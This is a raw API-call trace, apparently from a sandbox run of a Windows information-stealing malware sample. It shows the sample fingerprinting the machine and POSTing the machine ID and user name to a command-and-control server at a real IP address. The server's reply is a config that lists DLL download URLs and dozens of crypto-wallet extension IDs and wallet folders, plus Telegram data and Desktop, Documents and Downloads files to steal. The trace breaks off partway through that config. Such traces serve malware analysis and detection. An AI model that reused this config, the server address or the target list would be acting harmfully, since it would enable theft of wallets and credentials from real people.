[0252.041] lstrlenA (lpString="") returned 0 [0252.041] CryptStringToBinaryA (in: pszString="", cchString=0x0, dwFlags=0x1, pbBinary=0x6a53e8, pcbBinary=0x24fb2c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x6a53e8, pcbBinary=0x24fb2c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0252.041] lstrlenA (lpString="517bb0d640c1242c3f069aab3d1018d6") returned 32 [0252.041] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x6a5f58 [0252.041] lstrlenA (lpString=" ") returned 64 [0252.041] LocalAlloc (uFlags=0x40, uBytes=0x41) returned 0x6a6d78 [0252.041] StrStrA (lpFirst=" ", lpSrch=" ") returned=" " [0252.042] lstrlenA (lpString="") returned 0 [0252.042] LocalAlloc (uFlags=0x40, uBytes=0x40) returned 0x6a5430 [0252.042] lstrlenA (lpString="") returned 0 [0252.042] CryptStringToBinaryA (in: pszString="", cchString=0x0, dwFlags=0x1, pbBinary=0x6a5430, pcbBinary=0x24fb2c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x6a5430, pcbBinary=0x24fb2c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0252.042] lstrlenA (lpString="517bb0d640c1242c3f069aab3d1018d6") returned 32 [0252.042] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x6a5f70 [0252.042] lstrlenA (lpString=" ") returned 64 [0252.042] LocalAlloc (uFlags=0x40, uBytes=0x41) returned 0x6a6dc8 [0252.042] StrStrA (lpFirst=" ", lpSrch=" ") returned=" " [0252.042] lstrlenA (lpString="") returned 0 [0252.042] LocalAlloc (uFlags=0x40, uBytes=0x40) returned 0x6a5478 [0252.042] lstrlenA (lpString="") returned 0 [0252.042] CryptStringToBinaryA (in: pszString="", cchString=0x0, dwFlags=0x1, pbBinary=0x6a5478, pcbBinary=0x24fb2c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x6a5478, pcbBinary=0x24fb2c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0252.042] lstrlenA (lpString="517bb0d640c1242c3f069aab3d1018d6") returned 32 [0252.042] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x6a5f88 [0252.043] lstrlenA (lpString=" ") returned 64 [0252.043] LocalAlloc (uFlags=0x40, uBytes=0x41) returned 0x6a6e18 [0252.043] StrStrA (lpFirst=" ", lpSrch=" ") returned=" " [0252.043] lstrlenA (lpString="") returned 0 [0252.043] LocalAlloc (uFlags=0x40, uBytes=0x40) returned 0x6a54c0 [0252.043] lstrlenA (lpString="") returned 0 [0252.043] CryptStringToBinaryA (in: pszString="", cchString=0x0, dwFlags=0x1, pbBinary=0x6a54c0, pcbBinary=0x24fb2c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x6a54c0, pcbBinary=0x24fb2c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0252.043] lstrlenA (lpString="517bb0d640c1242c3f069aab3d1018d6") returned 32 [0252.043] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x6b4f60 [0252.043] GetUserDefaultLocaleName (in: lpLocaleName=0x24fb4c, cchLocaleName=85 | out: lpLocaleName="en-US") returned 6 [0252.045] StrStrIW (lpFirst="en-US", lpSrch=0x0) returned 0x0 [0252.046] OpenMutexW (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="CCOYS///hdr") returned 0x0 [0252.046] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="CCOYS///hdr") returned 0xc4 [0252.047] GetCurrentProcess () returned 0xffffffff [0252.047] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x24fb30 | out: TokenHandle=0x24fb30*=0xc8) returned 1 [0252.047] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x24fb34 | out: TokenInformation=0x0, ReturnLength=0x24fb34) returned 0 [0252.047] GetLastError () returned 0x7a [0252.047] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x6af6b8, TokenInformationLength=0x24, ReturnLength=0x24fb34 | out: TokenInformation=0x6af6b8, ReturnLength=0x24fb34) returned 1 [0252.047] ConvertSidToStringSidW (in: Sid=0x6af6c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x24fb2c | out: StringSid=0x24fb2c*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0252.047] lstrcmpiW (lpString1="S-1-5-18", lpString2="S-1-5-21-4219442223-4223814209-3835049652-1000") returned -1 [0252.052] LocalAlloc (uFlags=0x40, uBytes=0xff78) returned 0x6b54d8 [0252.052] lstrlenW (lpString="Content-Type: application/x-www-form-urlencoded; charset=utf-8") returned 62 [0252.053] lstrlenW (lpString="") returned 0 [0252.053] LocalAlloc (uFlags=0x40, uBytes=0x17c) returned 0x6c5458 [0252.053] lstrlenW (lpString="\r\n") returned 2 [0252.053] lstrlenW (lpString="Content-Type: application/x-www-form-urlencoded; charset=utf-8") returned 62 [0252.053] LocalAlloc (uFlags=0x40, uBytes=0x180) returned 0x6b54d8 [0252.054] lstrlenW (lpString="\r\n\r\n") returned 4 [0252.054] lstrlenW (lpString="Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n") returned 64 [0252.054] LocalAlloc (uFlags=0x40, uBytes=0x188) returned 0x6b5660 [0252.054] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6b57f0 [0252.054] LocalAlloc (uFlags=0x40, uBytes=0x618) returned 0x6b67f8 [0252.055] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6b6e18 [0252.055] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fb34 | out: phkResult=0x24fb34*=0xcc) returned 0x0 [0252.055] RegQueryValueExW (in: hKey=0xcc, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x24fb2c, lpData=0x6b6e18, lpcbData=0x24fb30*=0x104 | out: lpType=0x24fb2c*=0x1, lpData="b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6", lpcbData=0x24fb30*=0x4a) returned 0x0 [0252.055] LocalAlloc (uFlags=0x40, uBytes=0x202) returned 0x6b7028 [0252.055] GetUserNameW (in: lpBuffer=0x6b7028, pcbBuffer=0x24fb34 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x24fb34) returned 1 [0252.078] StrCpyW (in: psz1=0x6b67f8, psz2="machineId=" | out: psz1="machineId=") returned="machineId=" [0252.078] lstrlenW (lpString="b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6") returned 36 [0252.078] lstrlenW (lpString="machineId=") returned 10 [0252.078] LocalAlloc (uFlags=0x40, uBytes=0x15c) returned 0x6b9720 [0252.078] lstrlenW (lpString="|") returned 1 [0252.079] lstrlenW (lpString="machineId=b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6") returned 46 [0252.079] LocalAlloc (uFlags=0x40, uBytes=0x15e) returned 0x6b67f8 [0252.079] lstrlenW (lpString="kEecfMwgj") returned 9 [0252.079] lstrlenW (lpString="machineId=b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6|") returned 47 [0252.079] LocalAlloc (uFlags=0x40, uBytes=0x170) returned 0x6b6960 [0252.080] lstrlenW (lpString="&configId=") returned 10 [0252.080] lstrlenW (lpString="machineId=b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6|kEecfMwgj") returned 56 [0252.080] LocalAlloc (uFlags=0x40, uBytes=0x184) returned 0x6b6ad8 [0252.081] lstrlenW (lpString="517bb0d640c1242c3f069aab3d1018d6") returned 32 [0252.081] lstrlenW (lpString="machineId=b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6|kEecfMwgj&configId=") returned 66 [0252.081] LocalAlloc (uFlags=0x40, uBytes=0x1c4) returned 0x6b67f8 [0252.081] StrCpyW (in: psz1=0x6b57f0, psz2="machineId=b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6|kEecfMwgj&configId=517bb0d640c1242c3f069aab3d1018d6" | out: psz1="machineId=b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6|kEecfMwgj&configId=517bb0d640c1242c3f069aab3d1018d6") returned="machineId=b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6|kEecfMwgj&configId=517bb0d640c1242c3f069aab3d1018d6" [0252.082] LocalFree (hMem=0x6b6e18) returned 0x0 [0252.082] LocalFree (hMem=0x6b7028) returned 0x0 [0252.083] LocalFree (hMem=0x6b67f8) returned 0x0 [0252.083] LocalAlloc (uFlags=0x40, uBytes=0x800) returned 0x6b67f8 [0252.083] lstrlenA (lpString="http://51.195.166.178/") returned 22 [0252.083] LocalAlloc (uFlags=0x40, uBytes=0x3c) returned 0x6a55e0 [0252.083] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x6af688, cbMultiByte=-1, lpWideCharStr=0x6a55e0, cchWideChar=22 | out: lpWideCharStr="http://51.195.166.178/") returned 0 [0252.083] lstrlenW (lpString="http://51.195.166.178/") returned 22 [0252.083] LocalAlloc (uFlags=0x40, uBytes=0xc350) returned 0x6b9720 [0252.083] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6b7000 [0252.084] StrStrW (lpFirst="http://51.195.166.178/", lpSrch="://") returned="://51.195.166.178/" [0252.084] lstrlenW (lpString="51.195.166.178") returned 14 [0252.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="machineId=b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6|kEecfMwgj&configId=517bb0d640c1242c3f069aab3d1018d6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 99 [0252.084] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6b82f0 [0252.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="machineId=b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6|kEecfMwgj&configId=517bb0d640c1242c3f069aab3d1018d6", cchWideChar=-1, lpMultiByteStr=0x6b82f0, cbMultiByte=99, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="machineId=b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6|kEecfMwgj&configId=517bb0d640c1242c3f069aab3d1018d6", lpUsedDefaultChar=0x0) returned 99 [0252.128] InternetOpenW (lpszAgent="mozzzzzzzzzzz", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0252.382] GetCurrentProcess () returned 0xffffffff [0252.383] GetCurrentProcess () returned 0xffffffff [0252.711] GetCurrentProcess () returned 0xffffffff [0252.712] GetCurrentProcess () returned 0xffffffff [0253.279] GetCurrentProcess () returned 0xffffffff [0253.360] GetCurrentProcess () returned 0xffffffff [0253.362] GetCurrentProcess () returned 0xffffffff [0253.362] GetCurrentProcess () returned 0xffffffff [0254.289] GetCurrentProcess () returned 0xffffffff [0254.343] GetCurrentProcess () returned 0xffffffff [0254.641] GetCurrentProcess () returned 0xffffffff [0254.791] GetCurrentProcess () returned 0xffffffff [0254.792] GetCurrentProcess () returned 0xffffffff [0254.793] GetCurrentProcess () returned 0xffffffff [0254.826] InternetConnectW (hInternet=0xcc0004, lpszServerName="51.195.166.178", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0254.845] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x24fc0c*="*/*", dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0254.850] lstrlenA (lpString="machineId=b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6|kEecfMwgj&configId=517bb0d640c1242c3f069aab3d1018d6") returned 98 [0254.850] lstrlenW (lpString="Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n\r\n\r\n") returned 68 [0254.850] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n\r\n\r\n", dwHeadersLength=0x44, lpOptional=0x6b82f0*, dwOptionalLength=0x62) returned 1 [0255.274] GetCurrentProcess () returned 0xffffffff [0255.444] GetCurrentProcess () returned 0xffffffff [0255.448] GetCurrentProcess () returned 0xffffffff [0255.449] GetCurrentProcess () returned 0xffffffff [0256.118] GetCurrentProcess () returned 0xffffffff [0256.119] GetCurrentProcess () returned 0xffffffff [0256.422] GetCurrentProcess () returned 0xffffffff [0256.426] GetCurrentProcess () returned 0xffffffff [0256.689] GetCurrentProcess () returned 0xffffffff [0256.691] GetCurrentProcess () returned 0xffffffff [0257.224] GetCurrentProcess () returned 0xffffffff [0257.235] GetCurrentProcess () returned 0xffffffff [0257.306] GetCurrentProcess () returned 0xffffffff [0257.308] GetCurrentProcess () returned 0xffffffff [0257.968] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x6b9720, dwNumberOfBytesToRead=0xc350, lpdwNumberOfBytesRead=0x24fb20 | out: lpBuffer=0x6b9720*, lpdwNumberOfBytesRead=0x24fb20*=0x149e) returned 1 [0257.969] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x6b9720, dwNumberOfBytesToRead=0xc350, lpdwNumberOfBytesRead=0x24fb20 | out: lpBuffer=0x6b9720*, lpdwNumberOfBytesRead=0x24fb20*=0x0) returned 1 [0257.972] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0257.972] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0257.972] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0257.972] lstrlenA (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0257.972] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x6b9720, cbMultiByte=5279, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5279 [0257.972] LocalAlloc (uFlags=0x40, uBytes=0x293e) returned 0x6e1940 [0257.973] lstrlenA (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0257.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x6b9720, cbMultiByte=5279, lpWideCharStr=0x6e1940, cchWideChar=5279 | out: lpWideCharStr="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension 